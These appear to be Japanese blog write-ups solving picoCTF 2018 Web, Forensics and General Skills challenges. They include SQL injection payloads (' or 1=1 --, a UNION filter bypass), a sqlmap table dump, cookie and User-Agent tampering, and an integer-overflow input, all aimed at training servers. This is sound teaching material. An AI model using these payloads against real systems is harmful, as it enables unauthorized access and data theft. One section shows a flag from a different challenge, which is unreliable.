適当なUID,PASSでログイン(a,a)しようとすると
Success: You logged in! Not sure you'll be able to see the flag though. No flag for you
と言われます．
そこでデベロッパーツールを開いてcookieを確認します．
adminがFalseで保存されていることに気づきます．
Trueに書き換えてリロードします．
picoCTF{l0g1ns_ar3nt_r34l_2a968c11}
Irish Name Repo - Points: 200
There is a website running at http://2018shell1.picoctf.com:52012 (link). Do you think you can log us in? Try to see if you can login!
アプローチ：SQLi
Support画面を見てみると以下のような記述があります．
Cannot add name Hi. I tried adding my favorite Irish person, Conan O'Brien. But I keep getting something called a SQL Error That's because Conan O'Brien is American.
シングルクォーテーションでSQL Errorがでてることが分かります．
なのでAdmin Log InフォームのUsername:で' or 1 = 1 --すると
Logged in!
Your flag is: picoCTF{con4n_r3411y_1snt_1r1sh_c0d93e2f}
picoCTF{con4n_r3411y_1snt_1r1sh_c0d93e2f}
Mr. Robots - Points: 200
Do you see the same things I see? The glimpses of the flag hidden away?
http://2018shell1.picoctf.com:10157(link)
アプローチ：robots.txt
問題文的にrobots.txtのことだと思ったので/robots.txtを見に行きます．
User-agent: * Disallow: /143ce.html
/143ce.htmlが怪しいことが分かるのでアクセスしてみます．
So much depends upon a red flag
picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_143ce}
picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_143ce}
No Login - Points: 200
Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin.
http://2018shell1.picoctf.com:52920(link)
アプローチ：cookieの追加
webページに移動するとFlagボタンがあるのでおしてみると
I'm sorry it doesn't look like you are the admin.
flagのレスポンスヘッダを確認してみるとVary: Cookieとなっています．
cookie次第で表示内容を変えているようです．
とりあえずadminというcookieを値1で追加してみます．
Flag:
picoCTF{n0l0g0n_n0_pr0bl3m_3184f702}
picoCTF{n0l0g0n_n0_pr0bl3m_3184f702}
結構な悪問なのでは？(エスパーが必要なため)
Secret Agent - Points: 200
Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell1.picoctf.com:11421 (link)
アプローチ：UserAgentの変更
FlagボタンをクリックするとUserAgentが表示されることが分かります．
You're not google! Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
You're not google!
と言われてるので
UAを変更します．
Chromeなら
デベロッパーツール -> More tools -> Network conditions -> User agent で変更できます
UAをGooglebotに変更して再度ボタンをクリックすると
picoCTF{s3cr3t_ag3nt_m4n_ed3fe08d}
Buttons - Points: 250
There is a website running at http://2018shell1.picoctf.com:21579(link) . Try to see if you can push their buttons.
アプローチ：POST
- 1つめのボタンを押す
- 2つめのボタンのページ
- 2つめのボタンを押す
boo.htmlにとばされる
2つの違いは
<form action="button1.php" method="POST">
<a href="button2.php">Button2</a>
なのでbutton2.phpに対してPOSTをなげます．
> curl -X POST http://2018shell1.picoctf.com:21579/button2.php
Well done, your flag is: picoCTF{button_button_whose_got_the_button_ed306c10}%
picoCTF{delusions_about_finding_values_3cc386de}
The Vault - Points: 250
There is a website running at http://2018shell1.picoctf.com:64349 (link) . Try to see if you can login!
<?php ini_set('error_reporting', E_ALL); ini_set('display_errors', 'On'); include "config.php"; $con = new SQLite3($database_file); $username = $_POST["username"]; $password = $_POST["password"]; $debug = $_POST["debug"]; $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'"; if (intval($debug)) { echo "<pre>"; echo "username: ", htmlspecialchars($username), "\n"; echo "password: ", htmlspecialchars($password), "\n"; echo "SQL query: ", htmlspecialchars($query), "\n"; echo "</pre>"; } //validation check $pattern ="/.*['\"].*OR.*/i"; $user_match = preg_match($pattern, $username); $password_match = preg_match($pattern, $username); if($user_match + $password_match > 0) { echo "<h1>SQLi detected.</h1>"; } else { $result = $con->query($query); $row = $result->fetchArray(); if ($row) { echo "<h1>Logged in!</h1>"; echo "<p>Your flag is: $FLAG</p>"; } else { echo "<h1>Login failed.</h1>"; } } ?>
アプローチ：UNION
コードから普通にSQLiしようとするとvalidation checkにORが引っかかることが分かります．
なので今回はUNIONを使います．
' UNION SELECT 1 FROM users -- とするとvalidation checkを回避できます．
picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}
A Simple Question - Points: 650
There is a website running at http://2018shell1.picoctf.com:2644 (link). Try to see if you can answer its question.
アプローチ：Blind SQLi
'を入力
SQL query: SELECT * FROM answers WHERE answer='''
Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'''" in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php on line 15
Fatal error: Uncaught Error: Call to a member function fetchArray() on boolean in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php:17 Stack trace: #0 {main} thrown in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php on line 17
' or 1=1 --を入力
SQL query: SELECT * FROM answers WHERE answer='' or 1=1 --' You are so close.
aを入力
SQL query: SELECT * FROM answers WHERE answer='a' Wrong.
answerクエリがTrueになったときの反応が通常入力と異なることが分かります．
Blind SQLiチャンスですね．
ゆとりなのでsqlmapを使います．
スクリプト書いたほうが汎用性があると思います．
> sqlmap -u "http://2018shell1.picoctf.com:2644/answer2.php" --data="answer=1" -T answers --dump ~~略~~ [00:23:45] [INFO] retrieved: 41AndSixSixths Database: SQLite_masterdb Table: answers [1 entry] +----------------+ | answer | +----------------+ | 41AndSixSixths | +----------------+
answerが41AndSixSixthsであることが分かります．
SQL query: SELECT * FROM answers WHERE answer='41AndSixSixths'
Perfect!
Your flag is: picoCTF{qu3stions_ar3_h4rd_28fc1206}
picoCTF{qu3stions_ar3_h4rd_28fc1206}
まとめ
- web問難しくて全然とけない
- 前提知識がかなり必要になってくるので分からない問題はアプローチすら浮かばない
- がんばる
picoCTF 2018 Write-up [Forensics]
- まえがき
- Forensics
- Forensics Warmup 1 - Points: 50
- Forensics Warmup 2 - Points: 50
- Reading Between the Eyes - Points: 150
- Recovering From the Snap - Points: 150
- admin panel - Points: 150
- hex editor - Points: 150
- Truly an Artist - Points: 200
- now you don't - Points: 200
- Lying Out - Points: 250
- What's My Name? - Points: 250
- まとめ
まえがき
前回の続きです．
今回はForensicsのWrite-upを書こうと思います．
Forensics
Forensics Warmup 1 - Points: 50
Can you unzip this file for me and retreive the flag?
アプローチ：読む
jpgを開く
picoCTF{welcome_to_forensics}
Forensics Warmup 2 - Points: 50
Hmm for some reason I can't open this PNG? Any ideas?
アプローチ：ファイル形式を確認
> file flag.png flag.png: JPEG image data, JFIF standard 1.01, resolution (DPI), density 75x75, segment length 16, baseline, precision 8, 909x190, frames 3
> mv flag.png flag.jpg
picoCTF{extensions_are_a_lie}
Reading Between the Eyes - Points: 150
Stego-Saurus hid a message for you in this image, can you retreive it?
アプローチ：steganographyツールを使う
解く方法は色々とある
picoCTF{r34d1ng_b37w33n_7h3_by73s}
Recovering From the Snap - Points: 150
There used to be a bunch of animals here, what did Dr. Xernon do to them?
アプローチ：foremost
> file animals.dd animals.dd: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, root entries 512, sectors 20480 (volumes <=32 MB), Media descriptor 0xf8, sectors/FAT 20, sectors/track 32, heads 64, serial number 0x9b664dde, unlabeled, FAT (16 bit)
> foremost animals.dd Processing: animals.dd |*|
picoCTF{th3_5n4p_happ3n3d}
admin panel - Points: 150
We captured some traffic logging into the admin panel, can you find the password?
アプローチ：通信内容を確認する
pcap形式でファイルが渡されるので普通はwiresharkやtsharkを使いますが今回は通信が暗号化されていないのでstringsの結果をgrepするだけでできます．
> strings data.pcap | grep picoCTF
user=admin&password=picoCTF{n0ts3cur3_13597b43}
picoCTF{n0ts3cur3_13597b43}
hex editor - Points: 150
This cat has a secret to teach you. You can also find the file in /problems/hex-editor_2_c1a99aee8d919f6e42697662d798f0ff on the shell server.
アプローチ：バイナリファイルの可読部分を表示する
> strings hex_editor.jpg | grep pico
Your flag is: "picoCTF{and_thats_how_u_edit_hex_kittos_22C1d865}"
picoCTF{and_thats_how_u_edit_hex_kittos_22C1d865}
Truly an Artist - Points: 200
Can you help us find the flag in this Meta-Material? You can also find the file in /problems/truly-an-artist_2_61a3ed7216130ab1c2b2872eeda81348.
アプローチ：ファイルのメタ情報を確認
exiftoolでメタ情報を確認するとflagがでます．
stringsをgrepするだけでもできます
> exiftool 2018.png
ExifTool Version Number : 11.10
File Name : 2018.png
Directory : .
File Size : 13 kB
File Modification Date/Time : 2018:09:28 17:26:37+09:00
File Access Date/Time : 2018:10:15 17:44:40+09:00
File Inode Change Date/Time : 2018:10:15 17:42:36+09:00
File Permissions : rwxrwx---
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 1200
Image Height : 630
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Artist : picoCTF{look_in_image_7e31505f}
Image Size : 1200x630
Megapixels : 0.756
picoCTF{look_in_image_7e31505f}
now you don't - Points: 200
We heard that there is something hidden in this picture. Can you find it?
アプローチ：画像処理
ダウンロードしたpngのコントラストを調整するとflagが見えます．
picoCTF{n0w_y0u_533_m3}
Lying Out - Points: 250
Some odd traffic has been detected on the network, can you identify it? More info here. Connect with
nc 2018shell1.picoctf.com 50875to help us answer some questions.
You've been given a dataset of 4800 internet traffic logs for your organization's website. This dataset covers the number of unique IP addresses sending requests to the site in 15-minute "buckets", across a 24-hour day. The attached plot will help you see the daily pattern of traffic. You should see 3 spikes of traffic: one in the morning, one at midday, and one in the evening. Your organization needs your help to figure out whether some recent activity indicates unusual behavior. It looks like some logs have higher-than-usual traffic in their time bucket: many more unique IP addresses are trying to access the site than usual. This might be evidence that someone is trying to do something shady on your site.
アプローチ：traffic.pngを見ながら質問に答える
> nc 2018shell1.picoctf.com 50875
You'll need to consult the file `traffic.png` to answer the following questions.
Which of these logs have significantly higher traffic than is usual for their time of day? You can see usual traffic on the attached plot. There may be multiple logs with higher than usual traffic, so answer all of them! Give your answer as a list of `log_ID` values separated by spaces. For example, if you want to answer that logs 2 and 7 are the ones with higher than usual traffic, type 2 7.
log_ID time num_IPs
0 0 01:30:00 9726
1 1 02:45:00 11578
2 2 02:45:00 9846
3 3 02:45:00 9971
4 4 03:15:00 10155
5 5 04:15:00 11583
6 6 06:15:00 11589
7 7 09:30:00 9874
8 8 11:00:00 11016
9 9 12:00:00 14125
10 10 12:00:00 13715
11 11 13:00:00 12936
12 12 20:45:00 9925
13 13 20:45:00 10282
1 5 6 11
Correct!
Great job. You've earned the flag: picoCTF{w4y_0ut_ff5bd19c}
picoCTF{w4y_0ut_ff5bd19c}
What's My Name? - Points: 250
Say my name, say my name.
アプローチ：say my nameはDNS
6.5MB程度のmyname.pcapが降ってきます．
まともに当該パケットを探すと大変そうなので問題文に従い，dns関連パケットを確認します．
picoCTF{w4lt3r_wh1t3_ddfad6f8f4255adc73e862e3cebeee9d}
まとめ
- 簡単な問題しか解けなかったのでファイルシステムなどの勉強を進めていきたい
picoCTF 2018 Write-up [General Skills]
- picoCTFとは
- 成績
- まえがき
- General Skills
- General Warmup 1 - Points: 50
- General Warmup 2 - Points: 50
- General Warmup 3 - Points: 50
- Resources - Points: 50
- grep 1 - Points: 75
- net cat - Points: 75
- strings - Points: 100
- pipe - Points: 110
- grep 2 - Points: 125
- Aca-Shell-A - Points: 150
- environ - Points: 150
- ssh-keyz - Points: 150
- what base is this? - Points: 200
- you can't see me - Points: 200
- absolutely relative - Points: 250
- in out error - Points: 275
- store - Points: 400
- script me - Points: 500
- まとめ
picoCTFとは
PICOCTF IS A FREE COMPUTER SECURITY GAME TARGETED AT MIDDLE AND HIGH SCHOOL STUDENTS. THE GAME CONSISTS OF A SERIES OF CHALLENGES CENTERED AROUND A UNIQUE STORYLINE WHERE PARTICIPANTS MUST REVERSE ENGINEER, BREAK, HACK, DECRYPT, OR DO WHATEVER IT TAKES TO SOLVE THE CHALLENGE. picoctf.com
成績
1人で参加してこんな感じでした．
591位/10999チーム(参加人数：27000人以上)
まえがき
picoCTFは問題数が多いのでジャンル毎にwrite-upを書いていこうと思います．
General Skills
General Skillsではコンピュータサイエンスに関わる基本的な問題が出題されます．
General Warmup 1 - Points: 50
If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?
アプローチ：ASCII
picoCTF{A}
General Warmup 2 - Points: 50
Can you convert the number 27 (base 10) to binary (base 2)?
アプローチ：2進数
picoCTF{11011}
General Warmup 3 - Points: 50
What is 0x3D (base 16) in decimal (base 10)?
アプローチ：16進数
picoCTF{61}
Resources - Points: 50
We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag!
https://picoctf.com/resources
アプローチ：ページのリソースを読む
リンク先にフラグが記述されています
Thanks for reading the resources page! Here’s a flag for your time: picoCTF{xiexie_ni_lai_zheli}
picoCTF{xiexie_ni_lai_zheli}
grep 1 - Points: 75
Can you find the flag in file? This would be really obnoxious to look through by hand, see if you can find a faster way. You can also find the file in /problems/grep-1_2_ee2b29d2f2b29c65db957609a3543418 on the shell server.
アプローチ：grep
> grep picoCTF file
picoCTF{grep_and_you_will_find_42783683}
picoCTF{grep_and_you_will_find_42783683}
net cat - Points: 75
Using netcat (nc) will be a necessity throughout your adventure. Can you connect to 2018shell1.picoctf.com at port 10854 to get the flag?
アプローチ：nc
> nc 2018shell1.picoctf.com 10854
That wasn't so hard was it?
picoCTF{NEtcat_iS_a_NEcESSiTy_c97963fe}
picoCTF{NEtcat_iS_a_NEcESSiTy_c97963fe}
strings - Points: 100
Can you find the flag in this file without actually running it? You can also find the file in /problems/strings_2_b7404a3aee308619cb2ba79677989960 on the shell server.
アプローチ：strings
> strings strings | grep pico
picoCTF{sTrIngS_sAVeS_Time_3f712a28}
picoCTF{sTrIngS_sAVeS_Time_3f712a28}
pipe - Points: 110
During your adventure, you will likely encounter a situation where you need to process data that you receive over the network rather than through a file. Can you find a way to save the output from this program and search for the flag? Connect with
2018shell1.picoctf.com 37542.
アプローチ：ncとgrepをパイプでつなぐ
> nc 2018shell1.picoctf.com 37542 | grep picoCTF
picoCTF{almost_like_mario_a6975cdb}
picoCTF{almost_like_mario_a6975cdb}
grep 2 - Points: 125
This one is a little bit harder. Can you find the flag in /problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a/files on the shell server? Remember, grep is your friend.
アプローチ：grepのオプションを使う
シェルサーバの指定されたディレクトリに移動すると複数のファイルがある．
この中からflagを見つける必要があるのでgrepの-rを使う．
satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a/files$ ls files0 files1 files2 files3 files4 files5 files6 files7 files8 files9
satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a/files$ cd ..
satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a$ ls
files
satto1237@pico-2018-shell-1:/problems/grep-2_1_ef31faa711ad74321a7467978cb0ef3a$ grep -r "picoCTF" files
files/files9/file13:picoCTF{grep_r_and_you_will_find_4baaece4}
picoCTF{grep_r_and_you_will_find_4baaece4}
Aca-Shell-A - Points: 150
It's never a bad idea to brush up on those linux skills or even learn some new ones before you set off on this adventure! Connect with nc
2018shell1.picoctf.com 6903.
アプローチ：基本的なlinuxコマンドの使い方を知る
ncすると状況に合わせてlinuxのコマンドを入力しろという問題が降ってくるのであれこれ入力する．
ls cd secret ls rm i* echo 'Drop it in!' cd .. cd executables ./dontLookHere whoami cd .. cp /tmp/TopSecret passwords cd passwords ls cat passwords
picoCTF{CrUsHeD_It_dddcec58}
cpの挙動がおかしくて解くのにかなり時間がかかった(cpが正常に実行されない)
cp /tmp/TopSecret passwordsと入力しているはずなのになぜかpasswordsにTopSecretがコピーされなかった．
environ - Points: 150
Sometimes you have to configure environment variables before executing a program. Can you find the flag we've hidden in an environment variable on the shell server?
アプローチ：環境変数を表示する
satto1237@pico-2018-shell-1:~$ printenv
SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
FLAG=Finding the flag wont be that easy...
picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
ssh-keyz - Points: 150
As nice as it is to use our webshell, sometimes its helpful to connect directly to our machine. To do so, please add your own public key to ~/.ssh/authorized_keys, using the webshell. The flag is in the ssh banner which will be displayed when you login remotely with ssh to with your username.
アプローチ：sshする
ssh-keygenしてからssh-copy-idするとflagが降ってきます．
picoCTF{who_n33ds_p4ssw0rds_38dj21}
what base is this? - Points: 200
To be successful on your mission, you must be able read data represented in different ways, such as hexadecimal or binary. Can you get the flag from this program to prove you are ready? Connect with nc
2018shell1.picoctf.com 15853
アプローチ：変換スクリプト書いてあげる
> nc 2018shell1.picoctf.com 15853
We are going to start at the very beginning and make sure you understand how data is stored.
Please give me the 01100011 01100001 01101011 01100101 as a word.
To make things interesting, you have 30 seconds.
Input:
cake
Please give me the 737469746368 as a word.
Input:
stitch
Please give me the 147 151 155 160 as a word.
Input:
gimp
You got it! You're super quick!
Flag: picoCTF{delusions_about_finding_values_3cc386de}
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import binascii def b2a(str): bins = str.split(' ') ascii = [chr(int(x,2)) for x in bins] print(''.join(ascii)) def h2a(str): print(binascii.unhexlify(str)) def o2a(str): octs = str.split(' ') ascii = [chr(int(x,8)) for x in octs] print(''.join(ascii))
you can't see me - Points: 200
'...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission ended...' Maybe something lies in /problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f
アプローチ：viewコマンド
とりあえずシェルサーバの指定されたディレクトリに移動してls -laしてみると怪しいdotファイルがあることがわかります．
satto1237@pico-2018-shell-1:/problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f$ ls -la total 60 drwxr-xr-x 2 root root 4096 Sep 28 08:29 . -rw-rw-r-- 1 hacksports hacksports 57 Sep 28 08:29 . drwxr-x--x 576 root root 53248 Sep 30 03:45 ..
catでdotファイルを見ようとするとカレントディレクトリである.を見ようとしてしまうためviewを使います．
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_22f627d9}
absolutely relative - Points: 250
In a filesystem, everything is relative ¯_(ツ)_/¯. Can you find a way to get a flag from this program? You can find it in /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd on the shell server. Source.
#include <stdio.h> #include <string.h> #define yes_len 3 const char *yes = "yes"; int main() { char flag[99]; char permission[10]; int i; FILE * file; file = fopen("/problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/flag.txt" , "r"); if (file) { while (fscanf(file, "%s", flag)!=EOF) fclose(file); } file = fopen( "./permission.txt" , "r"); if (file) { for (i = 0; i < 5; i++){ fscanf(file, "%s", permission); } permission[5] = '\0'; fclose(file); } if (!strncmp(permission, yes, yes_len)) { printf("You have the write permissions.\n%s\n", flag); } else { printf("You do not have sufficient permissions to view the flag.\n"); } return 0; }
アプローチ：相対パス
プログラムを読む限り，permission.txtを読み込み，中身がyesである場合フラグを表示してくれることが分かります．
さっそくpermission.txtを作成しようしますが，/problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bdではファイルの作成権限がないようです．
仕方ないので/home/satto1237に移動し，permission.txtを作成します．
その後，absolutely-relativeを実行すればflagがとれます．
satto1237@pico-2018-shell-1:~$ /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/absolutely-relative
You have the write permissions.
picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}
picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}
in out error - Points: 275
Can you utlize stdin, stdout, and stderr to get the flag from this program? You can also find it in /problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4 on the shell server
アプローチ：入出力をパイプでつなぐ
とりあえず実行してみると文字が沢山出力されます．
satto1237@pico-2018-shell-1:/problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4$ ./in-out-error
Hey There!
If you want the flag you have to ask nicely for it.
Enter the phrase "Please may I have the flag?" into stdin and you shall receive.
Please may I have the flag?
Thank you for asking so nicely!
pWiec'orCeT Fn{op 1spt1rnagn_g1eSr_s4 _t7oh 1lnogv_eb
6Yfo5ua 7k8n8o}wp itchoeC TrFu{lpe1sp 1anngd_ 1sSo_ 4d_o7 hI1
nAg _fbu6lfl5 ac7o8m8m}iptimceonCtT'Fs{ pw1hpa1tn gI_'1mS _t4h_i7nhk1inngg_ bo6ff
5Yao7u8 8w}opuilcdonC'TtF {gpe1tp 1tnhgi_s1 Sf_r4o_m7 ha1nnyg _obt6hfe5ra 7g8u8y}
p
iIc ojCuTsFt{ pw1apn1nnag _t1eSl_l4 _y7ohu1 nhgo_wb 6If'5ma 7f8e8e}lpiincgo
CGToFt{tpa1 pm1ankge_ 1ySo_u4 _u7nhd1enrgs_tba6nfd5
a
7N8e8v}epri cgooCnTnFa{ pg1ipv1en gy_o1uS _u4p_
7Nhe1vnegr_ bg6ofn5naa7 8l8e}tp iycoouC TdFo{wpn1
pN1envge_r1 Sg_o4n_n7ah 1rnugn_ ba6rfo5uan7d8 8a}npdi cdoeCsTeFr{tp 1ypo1un
gN_e1vSe_r4 _g7ohn1nnag _mba6kfe5 ay7o8u8 }cpriyc
oNCeTvFe{rp 1gpo1nnnga_ 1sSa_y4 _g7oho1dnbgy_eb
6Nfe5vae7r8 8g}opnincao CtTeFl{lp 1ap 1lnige_ 1aSn_d4 _h7uhr1tn gy_obu6
f
gN_e1vSe_r4 _g7ohn1nnag _gbi6vfe5 ay7o8u8 }uppi
cNoeCvTeFr{ pg1opn1nnag _l1eSt_ 4y_o7uh 1dnogw_nb
6Nfe5vae7r8 8g}opnincao CrTuFn{ pa1rpo1unngd_ 1aSn_d4 _d7ehs1enrgt_ by6ofu5
aN7e8v8e}rp igcoonCnTaF {mpa1kpe1 nygo_u1 Sc_r4y_
7Nhe1vnegr_ bg6ofn5naa7 8s8a}yp igcoooCdTbFy{ep
1Npe1vnegr_ 1gSo_n4n_a7 ht1enlgl_ ba6 fl5iae7 8a8n}dp ihcuorCtT Fy{opu1
p
...
grepしたくなるのでパイプでつなぎます．
satto1237@pico-2018-shell-1:/problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4$ echo "Please may I have the flag?" | ./in-out-error | grep picoCTF
picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF
{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng
_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7
h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6
f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}
picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF
{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng
_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7
h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6
f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}
picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF
{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng
_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7
h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6
f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}
picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF
{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}
picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}
store - Points: 400
We started a little store, can you buy the flag? Source.
Connect with2018shell1.picoctf.com 5795.
#include <stdio.h> #include <stdlib.h> int main() { int con; con = 0; int account_balance = 1100; while(con == 0){ printf("Welcome to the Store App V1.0\n"); printf("World's Most Secure Purchasing App\n"); printf("\n[1] Check Account Balance\n"); printf("\n[2] Buy Stuff\n"); printf("\n[3] Exit\n"); int menu; printf("\n Enter a menu selection\n"); fflush(stdin); scanf("%d", &menu); if(menu == 1){ printf("\n\n\n Balance: %d \n\n\n", account_balance); } else if(menu == 2){ printf("Current Auctions\n"); printf("[1] I Can't Believe its not a Flag!\n"); printf("[2] Real Flag\n"); int auction_choice; fflush(stdin); scanf("%d", &auction_choice); if(auction_choice == 1){ printf("Imitation Flags cost 1000 each, how many would you like?\n"); int number_flags = 0; fflush(stdin); scanf("%d", &number_flags); if(number_flags > 0){ int total_cost = 0; total_cost = 1000*number_flags; printf("\nYour total cost is: %d\n", total_cost); if(total_cost <= account_balance){ account_balance = account_balance - total_cost; printf("\nYour new balance: %d\n\n", account_balance); } else{ printf("Not enough funds\n"); } } } else if(auction_choice == 2){ printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n"); printf("Enter 1 to purchase"); int bid = 0; fflush(stdin); scanf("%d", &bid); if(bid == 1){ if(account_balance > 100000){ printf("YOUR FLAG IS:\n"); } else{ printf("\nNot enough funds for transaction\n\n\n"); }} } } else{ con = 1; } } return 0; }
アプローチ：Integer Overflow
コードから残金が100000ドルを超えるとフラグを取得できることが読み取れます．
しかし，初期の残金は1100ドルであり，増やす方法はないように思われます．
ここでInteger Overflowを使います．
以下のコードのnumber_flagsにIOFの余地があります．
1000*number_flagsがintの最大値を超えるような値を入力すれば total_costが負の値になり，残金が増えます．
if(auction_choice == 1){ printf("Imitation Flags cost 1000 each, how many would you like?\n"); int number_flags = 0; fflush(stdin); scanf("%d", &number_flags); if(number_flags > 0){ int total_cost = 0; total_cost = 1000*number_flags; printf("\nYour total cost is: %d\n", total_cost); if(total_cost <= account_balance){ account_balance = account_balance - total_cost; printf("\nYour new balance: %d\n\n", account_balance); } else{ printf("Not enough funds\n"); } } }
> nc 2018shell1.picoctf.com 5795
Welcome to the Store App V1.0
World's Most Secure Purchasing App
[1] Check Account Balance
[2] Buy Stuff
[3] Exit
Enter a menu selection
2
Current Auctions
[1] I Can't Believe its not a Flag!
[2] Real Flag
1
Imitation Flags cost 1000 each, how many would you like?
2147483546
Your total cost is: -102000
Your new balance: 103100
Welcome to the Store App V1.0
World's Most Secure Purchasing App
[1] Check Account Balance
[2] Buy Stuff
[3] Exit
Enter a menu selection
2
Current Auctions
[1] I Can't Believe its not a Flag!
[2] Real Flag
2
A genuine Flag costs 100000 dollars, and we only have 1 in stock
Enter 1 to purchase1
YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_dbd42a50}
Welcome to the Store App V1.0
World's Most Secure Purchasing App
[1] Check Account Balance
[2] Buy Stuff
[3] Exit
Enter a menu selection
picoCTF{numb3r3_4r3nt_s4f3_dbd42a50}
script me - Points: 500
Can you understand the language and answer the questions to retrieve the flag? Connect to the service with nc
2018shell1.picoctf.com 7866
アプローチ：頑張ってソルバを書く
ncすると
Rules: () + () = ()() => [combine] ((())) + () = ((())()) => [absorb-right] () + ((())) = (()(())) => [absorb-left] (())(()) + () = (())(()()) => [combined-absorb-right] () + (())(()) = (()())(()) => [combined-absorb-left] (())(()) + ((())) = ((())(())(())) => [absorb-combined-right] ((())) + (())(()) = ((())(())(())) => [absorb-combined-left] () + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative] Example: (()) + () = () + (()) = (()()) Let's start with a warmup. ()() + ()()() = ???
このような問題が降ってきます．
実際に書いたソルバ
